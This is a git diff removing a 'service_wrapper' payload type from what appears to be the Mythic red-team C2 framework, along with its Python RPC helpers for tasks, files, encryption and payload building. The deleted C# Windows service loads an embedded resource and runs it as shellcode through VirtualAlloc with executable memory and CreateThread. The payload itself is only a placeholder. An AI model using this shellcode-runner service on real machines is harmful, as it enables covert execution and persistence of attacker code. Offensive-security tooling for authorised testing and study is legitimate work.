-//------------------------------------------------------------------------------
-
-namespace WindowsService1.Properties {
- using System;
-
-
- ///
- /// A strongly-typed resource class, for looking up localized strings, etc.
- ///
- // This class was auto-generated by the StronglyTypedResourceBuilder
- // class via a tool like ResGen or Visual Studio.
- // To add or remove a member, edit your .ResX file then rerun ResGen
- // with the /str option, or rebuild your VS project.
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
- [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
- [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
- internal class Resources {
-
- private static global::System.Resources.ResourceManager resourceMan;
-
- private static global::System.Globalization.CultureInfo resourceCulture;
-
- [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
- internal Resources() {
- }
-
- ///
- /// Returns the cached ResourceManager instance used by this class.
- ///
- [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
- internal static global::System.Resources.ResourceManager ResourceManager {
- get {
- if (object.ReferenceEquals(resourceMan, null)) {
- global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("WindowsService1.Properties.Resources", typeof(Resources).Assembly);
- resourceMan = temp;
- }
- return resourceMan;
- }
- }
-
- ///
- /// Overrides the current thread's CurrentUICulture property for all
- /// resource lookups using this strongly typed resource class.
- ///
- [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
- internal static global::System.Globalization.CultureInfo Culture {
- get {
- return resourceCulture;
- }
- set {
- resourceCulture = value;
- }
- }
-
- ///
- /// Looks up a localized resource of type System.Byte[].
- ///
- internal static byte[] loader {
- get {
- object obj = ResourceManager.GetObject("loader", resourceCulture);
- return ((byte[])(obj));
- }
- }
- }
-}
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/Resources.resx b/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/Resources.resx
deleted file mode 100755
index 16b707604..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/Resources.resx
+++ /dev/null
@@ -1,124 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
-
- ..\Resources\loader.bin;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/Resources/loader.bin b/Payload_Types/service_wrapper/agent_code/WindowsService1/Resources/loader.bin
deleted file mode 100644
index 0c451d08b..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/Resources/loader.bin
+++ /dev/null
@@ -1 +0,0 @@
-WRAPPED_PAYLOAD_HERE
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/Service1.Designer.cs b/Payload_Types/service_wrapper/agent_code/WindowsService1/Service1.Designer.cs
deleted file mode 100755
index d9b085321..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/Service1.Designer.cs
+++ /dev/null
@@ -1,37 +0,0 @@
-namespace WindowsService1
-{
- partial class Service1
- {
- ///
- /// Required designer variable.
- ///
- private System.ComponentModel.IContainer components = null;
-
- ///
- /// Clean up any resources being used.
- ///
- /// true if managed resources should be disposed; otherwise, false.
- protected override void Dispose(bool disposing)
- {
- if (disposing && (components != null))
- {
- components.Dispose();
- }
- base.Dispose(disposing);
- }
-
- #region Component Designer generated code
-
- ///
- /// Required method for Designer support - do not modify
- /// the contents of this method with the code editor.
- ///
- private void InitializeComponent()
- {
- components = new System.ComponentModel.Container();
- //this.ServiceName = "Service1";
- }
-
- #endregion
- }
-}
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/Service1.cs b/Payload_Types/service_wrapper/agent_code/WindowsService1/Service1.cs
deleted file mode 100755
index 420cb2dd5..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/Service1.cs
+++ /dev/null
@@ -1,78 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.ComponentModel;
-using System.Data;
-using System.Diagnostics;
-using System.Linq;
-using System.ServiceProcess;
-using System.Text;
-using System.Runtime.InteropServices;
-using System.IO;
-using System.Runtime;
-using System.Timers;
-namespace WindowsService1
-{
- public partial class Service1 : ServiceBase
- {
- private static UInt32 MEM_COMMIT = 0x1000;
- private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- [DllImport("kernel32")]
- private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
- UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
- [DllImport("kernel32")]
- private static extern IntPtr CreateThread(
- UInt32 lpThreadAttributes,
- UInt32 dwStackSize,
- UInt32 lpStartAddress,
- IntPtr param,
- UInt32 dwCreationFlags,
- ref UInt32 lpThreadId
- );
- [DllImport("kernel32")]
- private static extern UInt32 WaitForSingleObject(
- IntPtr hHandle,
- UInt32 dwMilliseconds
- );
- public Service1()
- {
- InitializeComponent();
- }
- protected override void OnStart(string[] args)
- {
- Timer timer = new Timer();
- timer.Interval = 1000;
- timer.AutoReset = false;
- timer.Elapsed += new ElapsedEventHandler(this.OnTimer);
- timer.Start();
- }
- protected override void OnStop()
- {
-
- }
- public void OnTimer(object sender, ElapsedEventArgs args)
- {
- byte[] shellcode = GetResource("loader");
- UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 threadId = 0;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
- WaitForSingleObject(hThread, 0xFFFFFFFF);
- }
- private static byte[] GetResource(string name)
- {
- string resourceFullName = null;
- if ((resourceFullName = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames().FirstOrDefault(N => N.Contains(name))) != null)
- {
-
- Stream reader = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName);
- byte[] ba = new byte[reader.Length];
- reader.Read(ba, 0, ba.Length);
- return ba;
- }
- return null;
- }
- }
-}
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/WindowsService1.csproj b/Payload_Types/service_wrapper/agent_code/WindowsService1/WindowsService1.csproj
deleted file mode 100755
index d4e68a81e..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/WindowsService1.csproj
+++ /dev/null
@@ -1,77 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}
- WinExe
- WindowsService1
- WindowsService1
- v3.5
- 512
- true
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
- x64
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
- True
- True
- Resources.resx
-
-
- Component
-
-
- Service1.cs
-
-
-
-
-
-
- ResXFileCodeGenerator
- Resources.Designer.cs
-
-
- Always
-
-
-
-
\ No newline at end of file
diff --git a/Payload_Types/service_wrapper/mythic/CommandBase.py b/Payload_Types/service_wrapper/mythic/CommandBase.py
deleted file mode 100644
index 6e949deb3..000000000
--- a/Payload_Types/service_wrapper/mythic/CommandBase.py
+++ /dev/null
@@ -1,483 +0,0 @@
-from abc import abstractmethod, ABCMeta
-import json
-from enum import Enum
-import base64
-import uuid
-from pathlib import Path
-
-
-class MythicStatus(Enum):
- Success = "success"
- Error = "error"
- Completed = "completed"
- Processed = "processed"
- Processing = "processing"
-
-
-class ParameterType(Enum):
- String = "String"
- Boolean = "Boolean"
- File = "File"
- Array = "Array"
- ChooseOne = "Choice"
- ChooseMultiple = "ChoiceMultiple"
- Credential_JSON = "Credential-JSON"
- Credential_Account = "Credential-Account"
- Credential_Realm = "Credential-Realm"
- Credential_Type = ("Credential-Type",)
- Credential_Value = "Credential-Credential"
- Number = "Number"
- Payload = "PayloadList"
- ConnectionInfo = "AgentConnect"
-
-
-class CommandParameter:
- def __init__(
- self,
- name: str,
- type: ParameterType,
- description: str = "",
- choices: [any] = None,
- required: bool = True,
- default_value: any = None,
- validation_func: callable = None,
- value: any = None,
- supported_agents: [str] = None,
- ):
- self.name = name
- self.type = type
- self.description = description
- if choices is None:
- self.choices = []
- else:
- self.choices = choices
- self.required = required
- self.validation_func = validation_func
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.default_value = default_value
- self.supported_agents = supported_agents if supported_agents is not None else []
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def type(self):
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def choices(self):
- return self._choices
-
- @choices.setter
- def choices(self, choices):
- self._choices = choices
-
- @property
- def validation_func(self):
- return self._validation_func
-
- @validation_func.setter
- def validation_func(self, validation_func):
- self._validation_func = validation_func
-
- @property
- def supported_agents(self):
- return self._supported_agents
-
- @supported_agents.setter
- def supported_agents(self, supported_agents):
- self._supported_agents = supported_agents
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is not None:
- type_validated = TypeValidators().validate(self.type, value)
- if self.validation_func is not None:
- try:
- self.validation_func(type_validated)
- self._value = type_validated
- except Exception as e:
- raise ValueError(
- "Failed validation check for parameter {} with value {}".format(
- self.name, str(value)
- )
- )
- return
- else:
- # now we do some verification ourselves based on the type
- self._value = type_validated
- return
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "type": self._type.value,
- "description": self._description,
- "choices": "\n".join(self._choices),
- "required": self._required,
- "default_value": self._value,
- "supported_agents": "\n".join(self._supported_agents),
- }
-
-
-class TypeValidators:
- def validateString(self, val):
- return str(val)
-
- def validateNumber(self, val):
- try:
- return int(val)
- except:
- return float(val)
-
- def validateBoolean(self, val):
- if isinstance(val, bool):
- return val
- else:
- raise ValueError("Value isn't bool")
-
- def validateFile(self, val):
- try: # check if the file is actually a file-id
- uuid_obj = uuid.UUID(val, version=4)
- return str(uuid_obj)
- except ValueError:
- pass
- return base64.b64decode(val)
-
- def validateArray(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("value isn't array")
-
- def validateCredentialJSON(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("value ins't a dictionary")
-
- def validatePass(self, val):
- return val
-
- def validateChooseMultiple(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("Choices aren't in a list")
-
- def validatePayloadList(self, val):
- return str(uuid.UUID(val, version=4))
-
- def validateAgentConnect(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("Not instance of dictionary")
-
- switch = {
- "String": validateString,
- "Number": validateNumber,
- "Boolean": validateBoolean,
- "File": validateFile,
- "Array": validateArray,
- "Credential-JSON": validateCredentialJSON,
- "Credential-Account": validatePass,
- "Credential-Realm": validatePass,
- "Credential-Type": validatePass,
- "Credential-Credential": validatePass,
- "Choice": validatePass,
- "ChoiceMultiple": validateChooseMultiple,
- "PayloadList": validatePayloadList,
- "AgentConnect": validateAgentConnect,
- }
-
- def validate(self, type: ParameterType, val: any):
- return self.switch[type.value](self, val)
-
-
-class TaskArguments(metaclass=ABCMeta):
- def __init__(self, command_line: str):
- self.command_line = str(command_line)
-
- @property
- def args(self):
- return self._args
-
- @args.setter
- def args(self, args):
- self._args = args
-
- def get_arg(self, key: str):
- if key in self.args:
- return self.args[key].value
- else:
- return None
-
- def has_arg(self, key: str) -> bool:
- return key in self.args
-
- def get_commandline(self) -> str:
- return self.command_line
-
- def is_empty(self) -> bool:
- return len(self.args) == 0
-
- def add_arg(self, key: str, value, type: ParameterType = None):
- if key in self.args:
- self.args[key].value = value
- else:
- if type is None:
- self.args[key] = CommandParameter(
- name=key, type=ParameterType.String, value=value
- )
- else:
- self.args[key] = CommandParameter(name=key, type=type, value=value)
-
- def rename_arg(self, old_key: str, new_key: str):
- if old_key not in self.args:
- raise Exception("{} not a valid parameter".format(old_key))
- self.args[new_key] = self.args.pop(old_key)
-
- def remove_arg(self, key: str):
- self.args.pop(key, None)
-
- def to_json(self):
- temp = []
- for k, v in self.args.items():
- temp.append(v.to_json())
- return temp
-
- def load_args_from_json_string(self, command_line: str):
- temp_dict = json.loads(command_line)
- for k, v in temp_dict.items():
- for k2,v2 in self.args.items():
- if v2.name == k:
- v2.value = v
-
- async def verify_required_args_have_values(self):
- for k, v in self.args.items():
- if v.value is None:
- v.value = v.default_value
- if v.required and v.value is None:
- raise ValueError("Required arg {} has no value".format(k))
-
- def __str__(self):
- if len(self.args) > 0:
- temp = {}
- for k, v in self.args.items():
- if isinstance(v.value, bytes):
- temp[k] = base64.b64encode(v.value).decode()
- else:
- temp[k] = v.value
- return json.dumps(temp)
- else:
- return self.command_line
-
- @abstractmethod
- async def parse_arguments(self):
- pass
-
-
-class AgentResponse:
- def __init__(self, response: dict):
- self.response = response
-
-
-class Callback:
- def __init__(self, **kwargs):
- self.__dict__.update(kwargs)
-
-
-class BrowserScript:
- # if a browserscript is specified as part of a PayloadType, then it's a support script
- # if a browserscript is specified as part of a command, then it's for that command
- def __init__(self, script_name: str, author: str = None):
- self.script_name = script_name
- self.author = author
-
- def to_json(self, base_path: Path):
- try:
- code_file = (
- base_path
- / "mythic"
- / "browser_scripts"
- / "{}.js".format(self.script_name)
- )
- if code_file.exists():
- code = code_file.read_bytes()
- code = base64.b64encode(code).decode()
- else:
- code = ""
- return {"script": code, "name": self.script_name, "author": self.author}
- except Exception as e:
- return {"script": str(e), "name": self.script_name, "author": self.author}
-
-
-class MythicTask:
- def __init__(
- self, taskinfo: dict, args: TaskArguments, status: MythicStatus = None
- ):
- self.task_id = taskinfo["id"]
- self.original_params = taskinfo["original_params"]
- self.completed = taskinfo["completed"]
- self.callback = Callback(**taskinfo["callback"])
- self.agent_task_id = taskinfo["agent_task_id"]
- self.operator = taskinfo["operator"]
- self.args = args
- self.status = MythicStatus.Success
- if status is not None:
- self.status = status
-
- def get_status(self) -> MythicStatus:
- return self.status
-
- def set_status(self, status: MythicStatus):
- self.status = status
-
- def __str__(self):
- return str(self.args)
-
-
-class CommandBase(metaclass=ABCMeta):
- def __init__(self, agent_code_path: Path):
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
-
- @property
- @abstractmethod
- def cmd(self):
- pass
-
- @property
- @abstractmethod
- def needs_admin(self):
- pass
-
- @property
- @abstractmethod
- def help_cmd(self):
- pass
-
- @property
- @abstractmethod
- def description(self):
- pass
-
- @property
- @abstractmethod
- def version(self):
- pass
-
- @property
- @abstractmethod
- def is_exit(self):
- pass
-
- @property
- @abstractmethod
- def is_file_browse(self):
- pass
-
- @property
- @abstractmethod
- def is_process_list(self):
- pass
-
- @property
- @abstractmethod
- def is_download_file(self):
- pass
-
- @property
- @abstractmethod
- def is_remove_file(self):
- pass
-
- @property
- @abstractmethod
- def is_upload_file(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def argument_class(self):
- pass
-
- @property
- @abstractmethod
- def attackmapping(self):
- pass
-
- @property
- def browser_script(self):
- pass
-
- @abstractmethod
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- pass
-
- @abstractmethod
- async def process_response(self, response: AgentResponse):
- pass
-
- def to_json(self):
- params = self.argument_class("").to_json()
- if self.browser_script is not None:
- bscript = {"browser_script": self.browser_script.to_json(self.base_path)}
- else:
- bscript = {}
- return {
- "cmd": self.cmd,
- "needs_admin": self.needs_admin,
- "help_cmd": self.help_cmd,
- "description": self.description,
- "version": self.version,
- "is_exit": self.is_exit,
- "is_file_browse": self.is_file_browse,
- "is_process_list": self.is_process_list,
- "is_download_file": self.is_download_file,
- "is_remove_file": self.is_remove_file,
- "is_upload_file": self.is_upload_file,
- "author": self.author,
- "attack": [{"t_num": a} for a in self.attackmapping],
- "parameters": params,
- **bscript,
- }
diff --git a/Payload_Types/service_wrapper/mythic/MythicBaseRPC.py b/Payload_Types/service_wrapper/mythic/MythicBaseRPC.py
deleted file mode 100644
index df92fe802..000000000
--- a/Payload_Types/service_wrapper/mythic/MythicBaseRPC.py
+++ /dev/null
@@ -1,95 +0,0 @@
-from aio_pika import connect_robust, IncomingMessage, Message
-import asyncio
-import uuid
-from CommandBase import *
-import json
-
-
-class RPCResponse:
- def __init__(self, resp: dict):
- self._raw_resp = resp
- if resp["status"] == "success":
- self.status = MythicStatus.Success
- self.response = resp["response"] if "response" in resp else ""
- self.error_message = None
- else:
- self.status = MythicStatus.Error
- self.error_message = resp["error"]
- self.response = None
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def error_message(self):
- return self._error_message
-
- @error_message.setter
- def error_message(self, error_message):
- self._error_message = error_message
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
-
-class MythicBaseRPC:
- def __init__(self, task: MythicTask):
- self.task_id = task.task_id
- self.connection = None
- self.channel = None
- self.callback_queue = None
- self.futures = {}
- self.loop = asyncio.get_event_loop()
-
- async def connect(self):
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- self.connection = await connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- self.channel = await self.connection.channel()
- self.callback_queue = await self.channel.declare_queue(exclusive=True)
- await self.callback_queue.consume(self.on_response)
-
- return self
-
- def on_response(self, message: IncomingMessage):
- future = self.futures.pop(message.correlation_id)
- future.set_result(message.body)
-
- async def call(self, n, receiver: str = None) -> RPCResponse:
- if self.connection is None:
- await self.connect()
- correlation_id = str(uuid.uuid4())
- future = self.loop.create_future()
-
- self.futures[correlation_id] = future
- if receiver is None:
- router = "rpc_queue"
- else:
- router = "{}_rpc_queue".format(receiver)
- await self.channel.default_exchange.publish(
- Message(
- json.dumps(n).encode(),
- content_type="application/json",
- correlation_id=correlation_id,
- reply_to=self.callback_queue.name,
- ),
- routing_key=router,
- )
-
- return RPCResponse(json.loads(await future))
diff --git a/Payload_Types/service_wrapper/mythic/MythicC2RPC.py b/Payload_Types/service_wrapper/mythic/MythicC2RPC.py
deleted file mode 100644
index c43be2875..000000000
--- a/Payload_Types/service_wrapper/mythic/MythicC2RPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicC2RPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicC2RPC(MythicBaseRPC):
- async def call_c2_func(
- self, c2_profile: str, function_name: str, message: str
- ) -> MythicC2RPCResponse:
- resp = await self.call(
- {"action": function_name, "message": message, "task_id": self.task_id},
- c2_profile,
- )
- return MythicC2RPCResponse(resp)
diff --git a/Payload_Types/service_wrapper/mythic/MythicCryptoRPC.py b/Payload_Types/service_wrapper/mythic/MythicCryptoRPC.py
deleted file mode 100644
index 6a7673d17..000000000
--- a/Payload_Types/service_wrapper/mythic/MythicCryptoRPC.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicCryptoRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response["data"]
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicCryptoRPC(MythicBaseRPC):
- async def encrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "encrypt_bytes",
- "data": base64.b64encode(data).decode(),
- "task_id": self.task_id,
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
-
- async def decrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "decrypt_bytes",
- "task_id": self.task_id,
- "data": base64.b64encode(data).decode(),
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
diff --git a/Payload_Types/service_wrapper/mythic/MythicFileRPC.py b/Payload_Types/service_wrapper/mythic/MythicFileRPC.py
deleted file mode 100644
index 77388965e..000000000
--- a/Payload_Types/service_wrapper/mythic/MythicFileRPC.py
+++ /dev/null
@@ -1,172 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import uuid
-
-
-class MythicFileRPCResponse(RPCResponse):
- def __init__(self, file: RPCResponse):
- super().__init__(file._raw_resp)
- if file.status == MythicStatus.Success:
- self.agent_file_id = file.response["agent_file_id"]
- self.task = file.response["task"]
- self.timestamp = file.response["timestamp"]
- self.deleted = file.response["deleted"]
- self.operator = file.response["operator"]
- self.delete_after_fetch = file.response["delete_after_fetch"]
- self.filename = file.response["filename"]
- self.md5 = file.response["md5"]
- self.sha1 = file.response["sha1"]
- self.chunks_received = file.response["chunks_received"]
- self.total_chunks = file.response["total_chunks"]
- if "contents" in file.response:
- self.contents = base64.b64decode(file.response["contents"])
- else:
- self.contents = None
- else:
- self.agent_file_id = None
- self.task = None
- self.timestamp = None
- self.deleted = None
- self.operator = None
- self.delete_after_fetch = None
- self.filename = None
- self.md5 = None
- self.sha1 = None
- self.chunks_received = None
- self.total_chunks = None
- self.contents = None
-
- @property
- def agent_file_id(self):
- return self._agent_file_id
-
- @agent_file_id.setter
- def agent_file_id(self, agent_file_id):
- self._agent_file_id = agent_file_id
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def timestamp(self):
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def delete_after_fetch(self):
- return self._delete_after_fetch
-
- @delete_after_fetch.setter
- def delete_after_fetch(self, delete_after_fetch):
- self._delete_after_fetch = delete_after_fetch
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def md5(self):
- return self._md5
-
- @md5.setter
- def md5(self, md5):
- self._md5 = md5
-
- @property
- def sha1(self):
- return self._sha1
-
- @sha1.setter
- def sha1(self, sha1):
- self._sha1 = sha1
-
- @property
- def chunks_received(self):
- return self._chunks_received
-
- @chunks_received.setter
- def chunks_received(self, chunks_received):
- self._chunks_received = chunks_received
-
- @property
- def total_chunks(self):
- return self._total_chunks
-
- @total_chunks.setter
- def total_chunks(self, total_chunks):
- self._total_chunks = total_chunks
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- self._contents = contents
-
-
-class MythicFileRPC(MythicBaseRPC):
- async def register_file(
- self,
- file: bytes,
- delete_after_fetch: bool = None,
- saved_file_name: str = None,
- remote_path: str = None,
- is_screenshot: bool = None,
- is_download: bool = None,
- ) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "register_file",
- "file": base64.b64encode(file).decode(),
- "delete_after_fetch": delete_after_fetch
- if delete_after_fetch is not None
- else True,
- "saved_file_name": saved_file_name
- if saved_file_name is not None
- else str(uuid.uuid4()),
- "task_id": self.task_id,
- "remote_path": remote_path if remote_path is not None else "",
- "is_screenshot": is_screenshot if is_screenshot is not None else False,
- "is_download": is_download if is_download is not None else False,
- }
- )
- return MythicFileRPCResponse(resp)
-
- async def get_file_by_name(self, filename: str) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "get_file_by_name",
- "task_id": self.task_id,
- "filename": filename,
- }
- )
- return MythicFileRPCResponse(resp)
diff --git a/Payload_Types/service_wrapper/mythic/MythicPayloadRPC.py b/Payload_Types/service_wrapper/mythic/MythicPayloadRPC.py
deleted file mode 100644
index 2af8bb3a1..000000000
--- a/Payload_Types/service_wrapper/mythic/MythicPayloadRPC.py
+++ /dev/null
@@ -1,303 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import pathlib
-
-
-class MythicPayloadRPCResponse(RPCResponse):
- def __init__(self, payload: RPCResponse):
- super().__init__(payload._raw_resp)
- if payload.status == MythicStatus.Success:
- self.uuid = payload.response["uuid"]
- self.tag = payload.response["tag"]
- self.operator = payload.response["operator"]
- self.creation_time = payload.response["creation_time"]
- self.payload_type = payload.response["payload_type"]
- self.operation = payload.response["operation"]
- self.wrapped_payload = payload.response["wrapped_payload"]
- self.deleted = payload.response["deleted"]
- self.auto_generated = payload.response["auto_generated"]
- self.task = payload.response["task"]
- if "contents" in payload.response:
- self.contents = payload.response["contents"]
- self.build_phase = payload.response["build_phase"]
- self.agent_file_id = payload.response["file_id"]["agent_file_id"]
- self.filename = payload.response["file_id"]["filename"]
- self.c2info = payload.response["c2info"]
- self.commands = payload.response["commands"]
- self.build_parameters = payload.response["build_parameters"]
- else:
- self.uuid = None
- self.tag = None
- self.operator = None
- self.creation_time = None
- self.payload_type = None
- self.operation = None
- self.wrapped_payload = None
- self.deleted = None
- self.auto_generated = None
- self.task = None
- self.contents = None
- self.build_phase = None
- self.agent_file_id = None
- self.filename = None
- self.c2info = None
- self.commands = None
- self.build_parameters = None
-
- @property
- def uuid(self):
- return self._uuid
-
- @uuid.setter
- def uuid(self, uuid):
- self._uuid = uuid
-
- @property
- def tag(self):
- return self._tag
-
- @tag.setter
- def tag(self, tag):
- self._tag = tag
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def creation_time(self):
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def payload_type(self):
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- self._payload_type = payload_type
-
- @property
- def location(self):
- return self._location
-
- @property
- def operation(self):
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- self._operation = operation
-
- @property
- def wrapped_payload(self):
- return self._wrapped_payload
-
- @wrapped_payload.setter
- def wrapped_payload(self, wrapped_payload):
- self._wrapped_payload = wrapped_payload
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def auto_generated(self):
- return self._auto_generated
-
- @auto_generated.setter
- def auto_generated(self, auto_generated):
- self._auto_generated = auto_generated
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- try:
- self._contents = base64.b64decode(contents)
- except:
- self._contents = contents
-
- @property
- def build_phase(self):
- return self._build_phase
-
- @build_phase.setter
- def build_phase(self, build_phase):
- self._build_phase = build_phase
-
- @property
- def c2info(self):
- return self._c2info
-
- @c2info.setter
- def c2info(self, c2info):
- self._c2info = c2info
-
- @property
- def build_parameters(self):
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- def set_profile_parameter_value(self,
- c2_profile: str,
- parameter_name: str,
- value: any):
- if self.c2info is None:
- raise Exception("Can't set value when c2 info is None")
- for c2 in self.c2info:
- if c2["name"] == c2_profile:
- c2["parameters"][parameter_name] = value
- return
- raise Exception("Failed to find c2 name")
-
- def set_build_parameter_value(self,
- parameter_name: str,
- value: any):
- if self.build_parameters is None:
- raise Exception("Can't set value when build parameters are None")
- for param in self.build_parameters:
- if param["name"] == parameter_name:
- param["value"] = value
- return
- self.build_parameters.append({"name": parameter_name, "value": value})
-
-
-class MythicPayloadRPC(MythicBaseRPC):
- async def get_payload_by_uuid(self, uuid: str) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {"action": "get_payload_by_uuid", "uuid": uuid, "task_id": self.task_id}
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_template(
- self,
- uuid: str,
- destination_host: str = None,
- wrapped_payload: str = None,
- description: str = None,
- ) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {
- "action": "build_payload_from_template",
- "uuid": uuid,
- "task_id": self.task_id,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload,
- "description": description,
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_parameters(self,
- payload_type: str,
- c2_profiles: list,
- commands: list,
- build_parameters: list,
- filename: str = None,
- tag: str = None,
- destination_host: str = None,
- wrapped_payload: str = None) -> MythicPayloadRPCResponse:
- """
- :param payload_type: String value of a payload type name
- :param c2_profiles: List of c2 dictionaries of the form:
- { "c2_profile": "HTTP",
- "c2_profile_parameters": {
- "callback_host": "https://domain.com",
- "callback_interval": 20
- }
- }
